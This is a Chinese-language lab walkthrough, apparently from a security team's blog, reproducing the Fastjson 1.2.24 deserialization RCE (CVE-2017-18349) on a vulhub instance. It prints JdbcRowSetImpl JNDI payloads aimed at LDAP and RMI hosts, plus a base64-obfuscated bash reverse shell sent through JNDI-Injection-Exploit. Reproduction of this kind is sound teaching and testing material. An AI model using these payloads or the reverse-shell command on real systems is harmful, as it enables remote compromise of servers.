漏洞简介
事项 | 描述 |
---|---|
漏洞概述 | fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 |
影响范围 | 1.2.24及之前版本。 |
漏洞编号 | CVE-2017-18349 |
漏洞搭建
这里使用vulhub的fastjson/1.2.24-rce进行复现。
访问http://192.168.146.167:37150/
漏洞复现
使用工具进行检测
发现dnslog有数据,说明存在漏洞。
对应的payload
{"handsome":
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://dfk38o.dnslog.cn/aaa",
"autoCommit":true
}}
然后再进行抓包,添入payload,手工再测一遍。发现确实存在。
验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。
反弹的的ip和端口是192.168.146.161和10000
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}
执行以下命令,进行反弹shell。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
由于不知道对方java的版本,所以就一个个试。
然后发现漏洞利用成功
{"handsome":
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://192.168.146.161:1099/vbgahy",
"autoCommit":true
}}
![【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349) 【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)]()
成功反弹了shell。
进入tmp目录下,成功拿到flag。
- End -
原文始发于微信公众号(NS Demon团队):【漏洞复现】Fastjson反序列化漏洞(CVE-2017-18349)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论